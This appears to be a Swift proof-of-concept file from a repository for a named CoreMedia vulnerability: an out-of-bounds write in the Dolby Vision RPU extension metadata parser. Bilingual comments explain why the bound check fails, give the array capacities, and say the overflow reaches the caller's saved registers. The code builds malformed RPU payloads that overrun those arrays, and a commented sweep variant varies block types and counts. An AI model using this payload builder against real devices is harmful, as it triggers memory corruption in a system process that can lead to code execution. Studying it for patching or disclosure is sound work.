Files

123 lines
5.6 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
// 原语: OOB 写 · 系统进程 · tier 2
// Primitive: OOB write · system process · tier 2
//
// [zh] Dolby Vision RPU 扩展元数据块数组越界
// 三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组
// A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。
//
// [en] Dolby Vision RPU extension metadata block array overrun
// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing.
// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked
// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register
// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame.
// ── 判别 / oracle ──
// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过),
// 故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。
// 变体 cm.rpu.sweep: RPU 块数与块类型扫描
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688
// 原语: OOB 写 · 系统进程 · tier 2
// Primitive: OOB write · system process · tier 2
//
// [zh] RPU 块数与块类型扫描
// 依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。
//
// [en] RPU block count and block type sweep
// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element
// over capacity up to eight over, recording where the parser starts refusing or terminates.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ──
enum RPUPayload {
struct BitWriter {
private(set) var out: [UInt8] = []
private var acc: UInt8 = 0
private var nbits = 0
mutating func put(_ value: UInt32, _ width: Int) {
guard width > 0 else { return }
for i in stride(from: width - 1, through: 0, by: -1) {
acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
nbits += 1
if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
}
}
mutating func putExpGolomb(_ value: UInt32) {
let v = value + 1
var bits = 0
while (v >> UInt32(bits)) > 1 { bits += 1 }
for _ in 0..<bits { put(0, 1) }
put(v, bits + 1)
}
mutating func flush() -> [UInt8] {
if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
return out
}
}
static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data {
var bw = BitWriter()
bw.put(0x19, 8) // magic, byte 0
bw.put(2, 6) // rpu_type = 2 (DOVI)
bw.put(0x12, 11) // rpu_format
bw.put(seed & 0x1F, 5)
bw.put(1, 4) // vdr_rpu_profile
bw.put(0, 4) // vdr_rpu_level
bw.put(0, 1) // vdr_seq_info_present_flag
bw.put(1, 1) // chroma_resampling_explicit_filter_flag
bw.put(2, 2) // coefficient_data_type
bw.put(1, 1) // el_spatial_resampling_filter_flag
bw.put(0, 1) // disable_residual_flag
bw.put(0, 4) // nln
bw.put(1, 2) // num_dm_data
// DM data head: class-2 ext block loop
bw.putExpGolomb(UInt32(blockCount))
for i in 0..<blockCount {
bw.putExpGolomb(0x40) // ext block length-ish
bw.put(blockID, 8) // block_id
// block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
bw.put(UInt32(0x100 + i), 12)
bw.put(UInt32(0x101 + i), 12)
bw.put(UInt32(0x102 + i), 12)
for _ in 0..<6 { bw.put(0x26, 8) }
bw.put(0x25, 8)
bw.put(0x59, 8)
bw.put(0x13, 8) // unlocks the u16 tail
bw.put(UInt32(0x0FFF & (i * 0x111)), 16)
bw.put(UInt32(0x0FFF & (i * 0x222)), 16)
bw.put(UInt32(0x0FFF & (i * 0x333)), 16)
}
return Data(bw.flush())
}
}